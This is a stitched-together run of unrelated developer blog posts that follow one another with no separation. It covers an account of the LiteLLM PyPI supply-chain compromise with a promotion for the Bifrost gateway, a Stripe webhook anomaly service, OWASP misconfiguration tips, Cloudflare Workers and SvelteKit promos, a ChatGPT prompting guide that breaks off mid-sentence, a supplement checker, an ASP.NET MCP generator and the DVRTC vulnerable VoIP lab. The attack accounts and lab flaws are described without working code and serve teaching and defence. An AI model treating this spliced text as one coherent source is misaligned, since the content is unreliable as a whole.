The LiteLLM Supply Chain Attack: A Wake-Up Call for AI Infrastructure

A routine dependency install triggered one of the most serious supply chain incidents in the AI ecosystem. A compromised release of LiteLLM, an AI gateway with about 97 million monthly downloads, introduced malicious code that quietly extracted sensitive credentials from developers’ systems. The attack needed no explicit action. Simply installing the affected package was enough to begin data exfiltration.

What makes this significant is how it happened and what it exposed. The breach began upstream in the software supply chain and exploited trust in CI/CD pipelines and dependency systems. It did not go after users directly. Even well-secured environments were affected by normal development workflows.

The scale of concern became clear when voices like Andrej Karpathy, former director of Tesla AI and former research scientist at OpenAI, pointed out how dangerous supply chain attacks have become, with Elon Musk reinforcing the need for caution.


source: https://x.com/karpathy/status/2036487306585268612?s=20

This points to a deeper issue in how modern AI infrastructure is built and trusted. In this article, let us examine what happened, how the attack unfolded, and what it means for building safer AI systems going forward.

Incident Overview: Scope, Timeline, and Entry Point

The issue began days before the public release. On March 19, the attacker group TeamPCP changed Git tags in the Trivy GitHub Action to point to a malicious build that carried a credential harvester.

Trivy runs deep within many CI/CD pipelines, including LiteLLM. It became a quiet but effective entry point. On March 23, a similar pattern appeared in Checkmarx KICS and the domain models.litellm.cloud was registered just before the main event.

On March 24 at 10:39 UTC, LiteLLM’s CI/CD pipeline ran the compromised Trivy scanner without version pinning. That gap exposed the PyPI publish token from the GitHub Actions environment. Within hours, two malicious versions were released and stayed available until about 16:00 UTC.

  • Version 1.82.7: Malicious code placed in proxy_server.py, triggered on import
  • Version 1.82.8: A .pth file that runs on every Python startup, no import needed
pip install litellm

A simple install like this could pull sensitive data such as SSH keys, cloud credentials, API keys, and more. The data was encrypted and quietly sent out. The breach came to light only after a bug in the attacker’s code caused a system crash, exposing activity that would have stayed hidden through a transitive dependency.

How the Attack Moved Through Trusted Systems

The attack began outside LiteLLM and moved through trusted systems until it reached developers.

  • Attackers changed the Trivy GitHub Action and pointed it to a malicious version
  • LiteLLM’s CI CD pipeline used it without fixing a specific version
  • The scanner pulled the PyPI publishing token from the pipeline
  • Attackers used this access to release malicious LiteLLM versions
  • Developers installed or updated the package and received the compromised code

Each step depended on trust. The pipeline relied on the scanner, and developers relied on the package source. Nothing seemed unusual at each step.

The attack spread through everyday workflows, including indirect installs through dependencies. Many systems were exposed, and developers remained unaware. This points to a clear issue. Risk extends beyond application code and includes the tools and systems that support it.

Understanding the True Impact of the Breach

The impact of this attack was severe. A simple install gave access to sensitive data across developer systems.

Attackers could access SSH keys, cloud credentials, Kubernetes secrets, API keys, CI CD tokens, and database passwords. Shell history, git credentials, and crypto wallets were also exposed .

This data was then encrypted and sent to an external domain. The process ran quietly in the background and gave no clear signal to the user. If Kubernetes access was present, the attack extended further. It could read cluster secrets and create privileged workloads to maintain access inside the system.

This level of access goes beyond a single application. It opens the door to full control of infrastructure across environments. AI systems increase this risk further. Tools like LiteLLM act as a central layer for multiple provider keys and requests. Once exposed, the impact spreads across connected services.

What This Reveals About Modern AI Systems

This event highlights key patterns in how modern AI systems are built and where risk enters.

  • Deep Dependency Chains: Modern AI stacks rely on multiple external packages layered atop one another. Many dependencies are indirect, which makes them harder to track. A single weak link can affect the entire system.
  • Trust Across Layers: CI CD pipelines trust external tools. Build systems’ trust dependencies. Developers trust package registries. Each layer depends on the next, creating a chain that attackers can move through step by step.
  • Centralized Gateway Design: AI gateways such as LiteLLM collect keys from multiple providers and route all requests through a single layer. This improves convenience but increases risk. Exposure at this layer affects every connected service.
  • Limited Visibility: Teams often lack clear insight into what runs inside pipelines or which dependencies are pulled in indirectly. This reduces early detection and slows response.
  • Security Scope Gaps: Security efforts often focus on application code. Supporting systems such as pipelines, tools, and dependencies receive less attention, even though they carry equal risk.

The Risk Built into Modern AI Architectures

The earlier points highlight a gap. Deep dependency chains, layered trust across systems, centralized gateways, and limited visibility increase risk across AI infrastructure.

Core functions like API routing and key handling often rely on large dependency chains. As these layers grow, exposure increases. The same structure that supports speed also creates entry points for compromise. Addressing this requires architectural changes, including reducing exposure to dependencies, isolating critical components, and maintaining tighter control over execution environments.

AI gateways sit at a critical layer, handling traffic, managing keys, and connecting providers, which makes their design directly tied to system risk.

Building Low-Exposure AI Infrastructure with Bifrost

For teams evaluating options right now, the focus should be on how a gateway limits the impact of a compromised dependency. This depends on how the system is designed and where control is maintained across it.

Bifrost is an open-source AI gateway that routes and manages requests across 20+ model providers through a single interface. Keys, traffic, and access stay under your control.

Its design takes a different path at the architectural level. The PyPI attack surface is removed entirely. Built in Go, Bifrost runs as a single binary or container, which removes the need for pip installs, avoids a Python runtime inside the gateway, and eliminates dependency chains that can be altered during installation.

Control remains within the user’s environment because Bifrost runs on private networks, where traffic and credentials remain internal. Key management is handled through direct integration with systems such as HashiCorp Vault, AWS Secrets Manager, GCP, and Azure, where secrets stay in managed storage with controlled access and clear audit visibility.

Comparative Overview: LiteLLM vs. Bifrost

The differences become clearer when both approaches are viewed side by side across key areas of risk, control, and deployment.

Category LiteLLM Bifrost
Language Python (PyPI) Go (binary/Docker)
Supply chain exposure High Eliminated (no pip dependency)
Credential storage Environment/config-based Vault-integrated
Deployment model Application-level In-VPC, isolated
Audit capability Limited Immutable, SIEM-ready
Migration effort — One-line configuration change
Performance — ~11 µs overhead at scale
Compatibility Native Full LiteLLM compatibility

Closing Thoughts

The LiteLLM incident leaves a lasting takeaway. Systems built on layers of trust, dependencies, and software supply chains carry risk that spreads faster than expected. AI gateways sit at the center of this setup, which makes their design choices critical to overall security.

This is a moment to rethink how these systems are structured. Reducing dependency exposure, separating critical components, and maintaining control within your own environment can limit how far an issue can travel across the supply chain.

Bifrost follows this direction. Its design reduces exposure to dependencies, keeps credentials within managed systems, and runs in controlled environments, which helps limit the spread of similar attacks. To see how this approach can be applied, explore the Bifrost documentation.

If you do not know what each dependency in your AI stack has access to, that is the first thing to fix.

Self-Hosted Stripe Billing Anomaly Detection with FastAPI

Self-Hosted Stripe Billing Anomaly Detection with FastAPI

Billing anomalies are silent killers. Failed charges that go unnoticed, webhook delivery gaps, sudden MRR drops at 2 AM — by the time you see them in your dashboard, the customer is already gone.

In this post I’ll walk through BillingWatch — a self-hosted FastAPI service that listens to Stripe webhooks and fires alerts the moment something looks wrong.

The Problem

Stripe’s own dashboard is reactive. You find out about billing issues after they’ve happened, often hours later. What you want is a system that:

  • Detects failed charges in real time
  • Spots unusual refund spikes
  • Alerts when subscription churn exceeds baseline
  • Runs on your infrastructure (no SaaS subscription)

Architecture

Stripe Webhooks → FastAPI /webhook → Anomaly Engine → Alerts (WhatsApp / Slack / email)

The service is intentionally minimal — a single FastAPI app, SQLite for event storage, and a threshold-based anomaly detector.

Webhook Handler

from fastapi import FastAPI, Request, HTTPException
import stripe, os

app = FastAPI()
stripe.api_key = os.environ["STRIPE_SECRET_KEY"]
WEBHOOK_SECRET = os.environ["STRIPE_WEBHOOK_SECRET"]

@app.post("/webhook")
async def stripe_webhook(request: Request):
    payload = await request.body()
    sig = request.headers.get("stripe-signature", "")

    try:
        event = stripe.Webhook.construct_event(payload, sig, WEBHOOK_SECRET)
    except stripe.error.SignatureVerificationError:
        raise HTTPException(status_code=400, detail="Invalid signature")

    if event["type"] == "invoice.payment_failed":
        await handle_payment_failure(event["data"]["object"])

    return {"status": "ok"}

Anomaly Detection

The anomaly engine compares current event rates against a rolling 7-day baseline:

def is_anomalous(event_type: str, window_hours: int = 1) -> bool:
    recent = count_events(event_type, hours=window_hours)
    baseline = avg_events_per_hour(event_type, days=7)

    # Alert if rate is 3x above baseline
    return recent > (baseline * 3 + 1)

This catches spikes in refunds, failed charges, and subscription cancellations without requiring ML infrastructure.

Running It

git clone https://github.com/rmbell09-lang/BillingWatch
cd BillingWatch
pip install -r requirements.txt
export STRIPE_SECRET_KEY=sk_live_...
export STRIPE_WEBHOOK_SECRET=whsec_...
uvicorn main:app --host 0.0.0.0 --port 8000

Then point your Stripe webhook dashboard at https://yourdomain.com/webhook.

Why Self-Hosted?

No per-seat pricing, no SaaS lock-in, full control over your alert logic. For indie developers and small teams watching burn rate, that matters.

Full source, Docker setup, and deployment docs on GitHub.

OWASP Top 10 – A05: Security Misconfiguration (Remediation Perspective)

As I have been working with OWASP Top 10, so far I have studied A01 to A04 and performed remediations according to them on my projects, so I can have an idea of security and standard testing of my web apps. In this article, I would like to tell you about my work regarding A05, which is Security Misconfiguration.

t is observed by me that many of the aspects addressed in one OWASP category can also be addressed in more than one category. So this is more about discipline while developing a web app.

In my work on OWASP A05, I performed the following remediations and improvements:

Note: As some aspects are also addressed in more than one OWASP category, my work is more likely inclined toward one specific category in this article.

Environment Configuration

One of the aspects that many beginner developers miss out on—and exhibit work-shyness in—is not preparing separate environments for:

  • Development (Project Making)
  • Local (Running on a local closed network)
  • Production (Deploying the project as delivered and ready to meet the internet)

This configuration can be done by preparing .env files accordingly and editing them for the type of project start.

**For example: **It is best and advised to have this variable:

NODE_ENV=production

The variable value can be changed according to the project environment like “dev” for development, “local” for local, and “prod” for production.

This allows necessary condition checks and flag triggering such as:

if (process.env.NODE_ENV === "production") {
  app.set("trust proxy", 1);
}

This allows IP address logging and other rate-limiting and security methods to be applied.

Note: Proxy must be trusted with this flag only if you are using NGINX or another trusted reverse proxy like Cloudflare or reputed hosting services.

Secure HTTP Headers

Another security misconfiguration that must be handled is the use of Helmet for securing HTTP headers.

import helmet from "helmet";

app.use(helmet());

This adds:

  • Content-Security-Policy
  • XSS Protection
  • Frameguard
  • HSTS

CORS Configuration

Another important configuration is CORS:

app.use(cors({
  origin: ["https://yourfrontend.com"],
  credentials: true
}));

One should regularly identify their domains and use the correct URLs in their CORS configuration.

Hide Sensitive Errors

Many developers forward backend errors to the frontend for quick debugging, like:

res.status(500).json({ error: err });

This is not advised, as it may expose backend structure, repositories, or system limitations.

Instead, use standard messages such as:

res.status(500).json({ message: "Internal Server Error" });

For debugging, use server logs:

try {
  // Logic
} catch (error) {
  console.error("Error While Processing In (Endpoint)", error);
  res.status(500).json({ message: "Internal Server Error" });
}

Disable Stack Traces & Info Leaks

Information about backend resources matters a lot. It allows attackers to guess weaknesses and evaluate your servers.

We can use:

app.disable("x-powered-by");

This hides:

  • X-Powered-By: Express

Enforce HTTPS

When using hosting services, they often handle HTTPS automatically.

But when deploying manually using a reverse proxy like NGINX, ensure:

  • NGINX + Certbot setup
  • Redirect HTTP → HTTPS
  • Install SSL certificate

Usually, this is part of NGINX deployment.

Secure Cookies

While setting cookies from the backend, ensure the following:

res.cookie("token", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict"
});

Remove Default Credentials

During development, many developers use default credentials for quick testing.

Removing these from the database is very important.

If missed, attackers might try:

  • Username: admin
  • Password: admin

and gain admin access.

Advanced Insight

Security Misconfiguration is NOT a bug. It’s a discipline problem.

Most developers:

  • Focus on features
  • Ignore deployment & configurations

Real engineers:

  • Secure systems at both infrastructure and application levels

Cloudflare Workers Has a Free Edge Serverless Platform With 100K Daily Requests

Cloudflare Workers runs JavaScript at the edge in 300+ data centers. Your code executes within milliseconds of your users.

Free Tier

  • 100K requests/day — free forever
  • Workers KV — 100K reads, 1K writes/day
  • R2 storage — 10GB free, zero egress fees
  • D1 database — 5M rows read, 100K writes/day
  • Durable Objects — stateful edge computing

Hello World

export default {
  async fetch(request) {
    return new Response('Hello from the edge!');
  },
};

Deploy

npm create cloudflare@latest
npx wrangler deploy

Workers vs Lambda

Feature Workers Lambda
Cold start 0ms 100-1000ms
Locations 300+ ~30 regions
Free tier 100K/day 1M/month

Need edge computing help? Check my work on GitHub or email [email protected] for consulting.

ChatGPT Prompt Engineering for Freelancers: Unlocking the Power of AI for Business Growth

ChatGPT Prompt Engineering for Freelancers: Unlocking the Power of AI for Business Growth

As a freelancer, you’re constantly looking for ways to streamline your workflow, improve efficiency, and deliver high-quality results to your clients. One tool that has been gaining traction in recent months is ChatGPT, a powerful AI model that can assist with a wide range of tasks, from content generation to code completion. However, to get the most out of ChatGPT, you need to master the art of prompt engineering. In this article, we’ll explore the world of ChatGPT prompt engineering, provide practical steps and code examples, and discuss how you can monetize your new skills.

What is ChatGPT Prompt Engineering?

ChatGPT prompt engineering is the process of crafting high-quality input prompts that elicit specific, accurate, and relevant responses from the ChatGPT model. The goal is to provide the model with enough context, constraints, and guidance to generate output that meets your needs and exceeds your expectations. By mastering prompt engineering, you can unlock the full potential of ChatGPT and use it to automate tasks, generate content, and even create new business opportunities.

Step 1: Define Your Objective

Before you start crafting prompts, you need to define your objective. What do you want to achieve with ChatGPT? Are you looking to generate content, complete code, or provide customer support? Be specific and clear about your goals, as this will help you design more effective prompts. For example, let’s say you want to use ChatGPT to generate a Python function that calculates the area of a rectangle. Your objective would be to create a prompt that elicits a response with a correct, well-documented, and readable code snippet.

Step 2: Choose the Right Prompt Structure

The structure of your prompt can significantly impact the quality of the response. ChatGPT supports various prompt structures, including:

  • Zero-shot prompts: These prompts provide minimal context and rely on the model’s prior knowledge to generate a response.
  • Few-shot prompts: These prompts provide a few examples or context to help the model understand the task and generate a response.
  • Chain-of-thought prompts: These prompts provide a series of steps or reasoning to help the model generate a response.

For example, if you want to generate a Python function that calculates the area of a rectangle, you could use a few-shot prompt like this:

# Define a function that calculates the area of a rectangle
# The function should take two arguments: length and width
# The function should return the area of the rectangle

# Example:
# area_of_rectangle(5, 3) should return 15

# Your function here:

This prompt provides context, constraints, and guidance to help the model generate a correct and readable code snippet.

Step 3: Refine Your Prompt

Once you’ve crafted your initial prompt, refine it by adding more context, constraints, or guidance. You can use various techniques, such as:

  • Providing more examples: Add more examples to help the model understand the task and generate a response.
  • Specifying output format: Specify the output format, such as a Python function or a JSON object.
  • Adding constraints: Add constraints, such as a specific library or framework, to help the model generate a response that meets your needs.

For example, if you want to generate a Python function that calculates the area of a rectangle using the NumPy library, you could refine your prompt like this:

# Define a function that calculates the area of a rectangle using NumPy
# The function should take two arguments: length and width
# The function should return the area of the rectangle as a NumPy array

# Example:
# area_of_rectangle(5, 3) should return np.array([15])

# Your function here:

This refined prompt provides more

I Built a Free Supplement Interaction Checker — Here’s What I Learned About Dangerous Combinations

If you take more than one supplement daily, you might be unknowingly creating dangerous interactions. I built a free tool to check — and the research behind it was eye-opening.

The Problem: Nobody Checks Supplement Interactions

Walk into any pharmacy in Latin America and you’ll find shelves full of supplements: magnesium, omega-3, iron, vitamin D, turmeric. People buy them based on recommendations from friends, influencers, or quick Google searches.

But here’s what most people don’t know: some supplements actively fight each other for absorption, while others can combine to create dangerous effects.

A few examples that surprised me:

Calcium + Iron: The Classic Mistake

Calcium inhibits iron absorption by up to 60%. If you’re taking both — which millions of people do — you might be wasting your iron supplement entirely. The fix is simple: take them at least 2 hours apart. But nobody tells you this on the label.

Source: Hallberg et al., American Journal of Clinical Nutrition, 1991

Omega-3 + Ginkgo Biloba: Hidden Bleeding Risk

Both have antiplatelet effects. Taking them together significantly increases bleeding risk. If you’re also taking aspirin or blood thinners, this combination becomes genuinely dangerous. Surgeons recommend stopping both 2 weeks before any procedure.

Source: Bone & Mills, Principles and Practice of Phytotherapy, 2013

Berberina + Probiotics: One Kills the Other

Berberine has antibacterial properties — which means it can kill the very bacteria you’re paying for in your probiotic supplement. Take them at different times of day with at least 2 hours separation.

Source: Zhang et al., Frontiers in Cellular and Infection Microbiology, 2021

What I Built

I created the Supplement Stack Checker — a free, client-side tool where you select the supplements you take and instantly see:

  1. Dangerous interactions (high severity, color-coded red)
  2. Absorption competition (where timing matters)
  3. Beneficial synergies (combinations that actually help each other)
  4. Optimal timing schedule (when to take each supplement)

The entire tool runs in the browser — no server, no tracking, no accounts. It’s a single HTML file with embedded JavaScript.

The Data

Currently covers 44 supplements and 40+ documented interactions, each backed by published clinical research. Every interaction card shows:

  • The mechanism (why it happens)
  • The recommended action (what to do about it)
  • The source citation (so you can verify)

The supplement database includes vitamins (A, B6, B12, C, D, E, K2), minerals (calcium, iron, magnesium, zinc, selenium), adaptogens (ashwagandha, rhodiola, maca, ginseng), herbals (turmeric, ginkgo, garlic, saw palmetto), and more.

Some Surprising Synergies

Not all interactions are bad. The tool also highlights beneficial combinations:

  • Vitamin D + Magnesium: Magnesium is a cofactor that activates vitamin D. Without enough magnesium, your vitamin D supplement doesn’t fully activate.
  • Glucosamine + Chondroitin + MSM: The classic joint health trio — each works by a different mechanism, and the combination outperformed individual supplements in the GAIT clinical trial.
  • NAC + Vitamin C: They form a complete antioxidant recycling cycle — NAC regenerates glutathione, vitamin C regenerates NAC.

Technical Details

The tool is built as a zero-dependency, single HTML file:

  • Frontend: Vanilla JavaScript, CSS Grid, no frameworks
  • Data: JSON arrays embedded in the script
  • Search: Client-side fuzzy matching on supplement names + aliases (Spanish and English)
  • Mobile: Responsive design, works on any screen size
  • Embed: Includes iframe embed code for other sites to integrate

Total file size: ~36KB. Loads instantly, works offline after first load.

The Bigger Picture

This is part of Botánica Andina’s free health tools, which also includes:

  • An herb-drug interaction checker (150 plants × 30 drug classes)
  • A caffeine half-life calculator
  • An evidence-based supplement verifier with A-F grades
  • A personalized Andean plant recommendation quiz

All tools are free, open, and embeddable. We built them because Spanish-speaking health consumers have almost zero access to evidence-based interactive tools — while English speakers have Examine.com, Drugs.com, and dozens of calculators.

Try It

Check your supplement stack now →

If you run a health blog or pharmacy website, the tool includes a free embed code — just copy the iframe snippet at the bottom of the page.

I’d love feedback. What supplements should I add? What interactions am I missing? Drop a comment.

All interaction data sourced from peer-reviewed studies published in PubMed, EMA monographs, and clinical practice guidelines. This tool is informational — always consult your healthcare provider before combining supplements.

Your ASP.NET API Already Speaks MCP – It Just Doesn’t Know It Yet

TL;DR: dotnet add package Kebechet.Api.ToMcp + 3 lines in Program.cs = your ASP.NET controllers become AI-callable MCP tools. No separate server, no OpenAPI spec, compile-time generated. GitHub repo

Three lines of code. That’s what it took to let Claude talk to my ASP.NET API:

builder.Services.AddMcpTools(Assembly.GetExecutingAssembly());

app.UseMcpLoopPrevention();
app.MapMcpEndpoint("mcp");

No hand-written tool classes. No separate proxy server. No OpenAPI spec to maintain. The controllers I already had became AI-callable tools automatically.

I built Api.ToMcp – a C# source generator that reads your existing controllers at compile time and generates MCP-compatible tool classes. This is the story of how it went from an idea to a published NuGet package in a single day.

Why not just use OpenAPI?

Before diving in, let’s address the elephant in the room. There are already ways to bridge REST APIs to MCP, and most of them work through OpenAPI/Swagger specs.

OpenAPI/Swagger JSON approach – Tools like openapi-mcp-server (887 stars) and mcp-link (605 stars) read your swagger.json and dynamically generate MCP tools at runtime. If your API already produces a Swagger document (and most ASP.NET Core APIs do), you point the tool at the JSON and it creates MCP endpoints on the fly.

API gateway approach – Tyk’s api-to-mcp works at the gateway level. Language-agnostic – doesn’t matter if your backend is .NET, Node, Python, or Go.

Framework-specific code transforms – spring-rest-to-mcp uses OpenRewrite to transform Spring REST controllers into MCP servers. Similar idea to Api.ToMcp but for the Java ecosystem.

Manual HTTP configuration – http-4-mcp provides a visual interface where you configure HTTP-to-MCP mappings without writing code.

These all work. But they share common trade-offs:

  • Runtime overhead – they parse specs and create tools dynamically
  • Loose typing – they work with JSON schemas, not your actual C# types
  • No compile-time safety – if your API changes, mismatches surface at runtime
  • Separate process – they run as a standalone server or proxy between the AI client and your API. That’s an extra service to deploy, monitor, and keep running

I wanted something that felt native to .NET – compile-time generated, type-safe, and deployed as part of the same application. One service, one deployment, one process.

The problem: MCP is great, bridging is not

If you haven’t heard of Model Context Protocol, it’s an open standard that lets AI assistants (like Claude, Cursor, etc.) call tools – essentially functions – in a structured way. Think of it as a universal plugin system for AI.

The .NET ecosystem already has great MCP support through the official ModelContextProtocol package. You define tool classes, decorate them with attributes, and you’re live. But here’s the catch – each tool is a separate class that you write manually:

[McpServerToolType]
public static class Products_GetByIdTool
{
    [McpServerTool(Name = "Products_GetById")]
    [Description("Gets a product by its unique identifier.")]
    public static async Task<string> InvokeAsync(
        IMcpHttpInvoker invoker,
        [Description("Parameter: id")] Guid id)
    {
        var route = $"/api/products/{Uri.EscapeDataString(id.ToString())}";
        return await invoker.GetAsync(route);
    }
}

Now multiply that by every endpoint you want to expose. It’s boilerplate. Pure, mechanical, error-prone boilerplate.

I was building a .NET MAUI fitness app with a standard ASP.NET Core backend. Dozens of controllers, hundreds of endpoints. The routes were defined. The parameters were typed. The XML docs were written. All the information was right there in the source code – I just needed something to read it and generate the glue.

The “what if” moment

C# source generators can inspect your code at compile time and emit new source files. They see your classes, methods, attributes, parameters – everything Roslyn knows, you know.

So the idea was simple: scan controllers, find HTTP action methods, and for each one, generate an MCP tool class that calls the original endpoint via HTTP internally. The API stays untouched. The MCP layer is purely additive.

From zero to NuGet in one day

I started on January 16th. The commit history tells the story:

Morning – scaffolded the project structure and implemented the basic generator. Three projects: Abstractions (attributes and config), Generator (the source generator itself), and Runtime (HTTP invoker, middleware, DI extensions).

Midday – hit the first real bugs. Parsing controller routes with constraints like {id:guid} was trickier than expected. Tool registration wasn’t wiring up correctly. Fixed both, added Swagger to the demo project so I could verify the API side independently.

Afternoon – added tests, linked everything to a solution, set up GitHub Actions for build and NuGet publish. The first preview landed on NuGet that same evening.

By end of day, you could do this:

dotnet add package Kebechet.Api.ToMcp

Add a generator.json, three lines in Program.cs, and your API was speaking MCP.

How it actually works

The generator reads a generator.json config that controls which endpoints to expose (allowlist via SelectedOnly or blocklist via AllExceptExcluded), scans your controllers for HTTP action methods, and emits MCP tool classes at compile time.

{
  "schemaVersion": 1,
  "mode": "SelectedOnly",
  "include": [
    "ProductsController.GetAll",
    "ProductsController.GetById"
  ],
  "naming": {
    "toolNameFormat": "{Controller}_{Action}",
    "removeControllerSuffix": true
  }
}

Attributes always win over config – [McpExpose] forces inclusion, [McpIgnore] forces exclusion. This gives you granular control over what AI can and can’t touch:

[HttpDelete("{id:guid}")]
[McpIgnore]  // AI should never delete products
public Task<ActionResult> Delete(Guid id) { ... }

Here’s what the generator produces for ProductsController.GetAll:

[McpServerToolType]
public static class ProductsController_GetAllTool
{
    [McpServerTool(Name = "Products_GetAll")]
    [Description("Gets all products with optional category filter.")]
    public static async Task<string> InvokeAsync(
        IMcpHttpInvoker invoker,
        [Description("Parameter: category")] string? category = null)
    {
        var queryParts = new List<string>();
        if (category != null)
            queryParts.Add($"category={Uri.EscapeDataString(category)}");

        var route = "/api/products";
        if (queryParts.Count > 0)
            route += "?" + string.Join("&", queryParts);

        await invoker.BeforeInvokeAsync(McpScope.Read);
        var response = await invoker.GetAsync(route);
        return response;
    }
}

Notice that the XML doc comment /// <summary>Gets all products...</summary> became the [Description]. The AI assistant sees a well-described tool, not a cryptic endpoint.

The loop prevention problem

Here’s something I didn’t anticipate until it happened: what if the AI calls an MCP tool, which calls the API, which somehow triggers another MCP call? Infinite loop.

The solution is a simple middleware + header combo. Every internal HTTP call from the MCP invoker adds an X-MCP-Internal-Call header. The middleware checks for this on MCP endpoints and returns 400 Bad Request if present:

public async Task InvokeAsync(HttpContext context)
{
    if (context.Request.Path.StartsWithSegments("/mcp") &&
        context.Request.Headers.ContainsKey("X-MCP-Internal-Call"))
    {
        context.Response.StatusCode = 400;
        await context.Response.WriteAsync(
            "MCP endpoints cannot be called internally to prevent loops.");
        return;
    }

    await _next(context);
}

Simple, effective, zero configuration.

Authentication forwarding

If your API uses JWT authentication, the MCP tools need to forward those credentials. The McpHttpInvoker automatically grabs the Authorization header from the incoming MCP request and attaches it to the internal API call. Your [Authorize] attributes just work.

Scope-based access control

After the initial release, I added a feature I hadn’t planned but quickly realized was necessary: not every AI session should have access to every tool.

A read-only analytics dashboard shouldn’t be able to call POST /api/products. So I mapped HTTP methods to scopes:

Scope HTTP Methods
Read GET, HEAD, OPTIONS
Write POST, PUT, PATCH
Delete DELETE

You configure a JWT claim mapper, and the invoker validates scopes before each call:

builder.Services.AddMcpTools(Assembly.GetExecutingAssembly(), options =>
{
    options.ClaimName = "permissions";
    options.ClaimToScopeMapper = claimValue =>
    {
        var scope = McpScope.None;
        if (claimValue.Contains("read")) scope |= McpScope.Read;
        if (claimValue.Contains("write")) scope |= McpScope.Write;
        return scope;
    };
});

If the scope doesn’t match, the tool returns an UnauthorizedAccessException before any HTTP call is made.

Lessons from shipping fast

Looking back at the commit log, a few things stand out:

Source generators are powerful but unforgiving. Debugging is painful – you’re writing code that writes code, and errors show up as compile-time diagnostics, not runtime exceptions. Snapshot testing (comparing generated output against expected files) saved me.

The “just ship it” approach works. The first version had rough edges. Parameterless method generation was broken (fixed next day). The URL handling had issues in production behind reverse proxies (fixed by a community PR a month later). But having a working package on NuGet meant people could try it and report real problems instead of theoretical ones.

Community feedback matters immediately. Within a month, I got a PR from Saurus119 fixing URL normalization for production environments. I had been testing locally – they were running it behind a load balancer. That’s the kind of bug you only find with real users.

What’s next

There are still open issues I’m thinking about:

  • Should the isError flag in MCP responses reflect HTTP status codes automatically?
  • How should cancellation tokens be handled across the MCP-to-HTTP boundary?
  • Extracting XML doc comments for richer tool descriptions (issue #1 – one of the first things I filed)

Try it yourself

dotnet add package Kebechet.Api.ToMcp

The GitHub repo has a full demo project you can run. Add the package, create a generator.json, add three lines to Program.cs, and your API speaks MCP.

If you’re building something with it, or if you have ideas for improvement, open an issue or submit a PR. The codebase is intentionally small – the entire generator is under 500 lines.

Every ASP.NET API already has everything MCP needs – typed endpoints, route metadata, XML docs. The only question is whether you extract that information yourself, or let the compiler do it for you.

If this was useful, feel free to connect with me on X/Twitter or check out my other .NET open-source work on GitHub.

SvelteKit Has a Free Full-Stack Framework With the Fastest Developer Experience

SvelteKit is the official application framework for Svelte. It provides routing, SSR, code-splitting, and adapters for any deployment target.

What You Get for Free

  • File-based routing — pages are files
  • SSR + SSG + SPA — choose per route
  • Server-side data loading — type-safe
  • Form actions — progressive enhancement
  • Adapters — Vercel, Netlify, Cloudflare, Node
  • No virtual DOM — compiled to vanilla JS
  • Fastest DX — instant HMR, minimal boilerplate

Create a Project

npm create svelte@latest my-app
cd my-app && npm install && npm run dev

Page With Data Loading

<!-- +page.server.ts -->
export async function load() {
  const posts = await db.post.findMany();
  return { posts };
}

<!-- +page.svelte -->
<script>
  export let data;
</script>

{#each data.posts as post}
  <article>
    <h2>{post.title}</h2>
    <p>{post.body}</p>
  </article>
{/each}

SvelteKit vs Next.js

Feature SvelteKit Next.js
Bundle size Smaller Larger
Runtime No VDOM React runtime
DX Simpler More complex

Need Svelte development? Check my work on GitHub or email [email protected] for consulting.

Addressing VoIP/WebRTC Security Training Gaps with a Standardized Vulnerable Lab Environment

Introduction: Addressing the VoIP/WebRTC Security Training Void

The cybersecurity training ecosystem is replete with tools for web application security, such as DVWA, OWASP Juice Shop, and WebGoat. These platforms have standardized the education of vulnerabilities like SQL injection, cross-site scripting (XSS), and insecure session management by providing controlled environments for hands-on learning. However, the domain of Voice over IP (VoIP) and Web Real-Time Communication (WebRTC) lacks an equivalent framework. Despite their pervasive use in modern communication systems, no standardized, intentionally vulnerable lab environment has existed—until the introduction of DVRTC.

DVRTC is not merely another tool; it is a targeted solution to the growing complexity of VoIP and WebRTC protocols, the scarcity of accessible learning resources, and the escalating sophistication of real-world attacks targeting these systems. By providing a hands-on environment, DVRTC enables practitioners to systematically explore, exploit, and mitigate vulnerabilities inherent to these technologies, thereby addressing a critical gap in cybersecurity education.

The Problem: A Structural Deficit in Cybersecurity Education

VoIP and WebRTC have transcended niche status to become foundational technologies in both personal and enterprise communication systems. However, their security mechanisms—including SIP signaling, RTP media streams, and TURN/STUN protocols—are inherently complex and opaque. Unlike web applications, where vulnerabilities often manifest in visible code, VoIP/WebRTC attacks exploit protocol behaviors and misconfigurations, making them difficult to teach, learn, and defend against without practical exposure.

The absence of a standardized, vulnerable lab environment has constrained cybersecurity professionals and enthusiasts. Without a safe, controlled space to experiment, practitioners are forced to choose between risking real-world systems or relying on theoretical knowledge—neither of which suffices for mastering these technologies. DVRTC rectifies this deficit by providing a controlled, risk-free environment where learners can systematically dissect, exploit, and mitigate VoIP/WebRTC vulnerabilities, thereby bridging the gap between theory and practice.

DVRTC in Operation: A Technical Breakdown of Its Design

DVRTC’s inaugural scenario, pbx1, deploys a full VoIP stack with intentionally vulnerable components, each designed to replicate real-world attack vectors. Below is a technical breakdown of its mechanics:

  • Kamailio (SIP Proxy):

    • SIP Extension Enumeration: Kamailio returns distinct SIP response codes for valid versus invalid extensions. This enables attackers to map active extensions through a systematic probing process, leveraging pattern recognition in response codes to identify targets.
    • SQL Injection via User-Agent Headers: Unsanitized logging of User-Agent headers to a MySQL database allows attackers to inject malicious SQL queries. This exploits the mechanical vulnerability of unfiltered input, potentially compromising database integrity and exposing sensitive data.
    • Digest Authentication Leak: A misconfigured handler for extension 2000 triggers a digest authentication leak, exposing credentials in a predictable format. This vulnerability underscores the risk of insecure credential handling in SIP authentication workflows.
  • rtpengine (Media Server):

    • RTP Bleed: Default configurations fail to isolate RTP streams, allowing media packets from one session to interfere with another. This cross-session contamination enables eavesdropping, demonstrating the physical consequences of inadequate session isolation.
    • RTP Injection: The absence of stream validation permits attackers to inject malicious RTP packets, either disrupting or hijacking active calls. This vulnerability highlights the critical need for media stream integrity checks.
  • coturn (TURN/STUN Server):

    • Hardcoded Credentials: Static, easily guessable credentials allow attackers to abuse the TURN relay for unauthorized traffic routing, exploiting the mechanical weakness of insecure default configurations.
    • Permissive Relay Policy: The absence of access controls enables attackers to amplify traffic through the TURN server, potentially overwhelming target systems. This vulnerability underscores the risks of misconfigured relay policies.
  • Asterisk (PBX):

    • Weak Credential Vulnerability: Extension 1000 uses the password “1500,” making it susceptible to brute-force attacks. This exemplifies the systemic risk of weak credentials in SIP authentication, emphasizing the need for robust password policies.

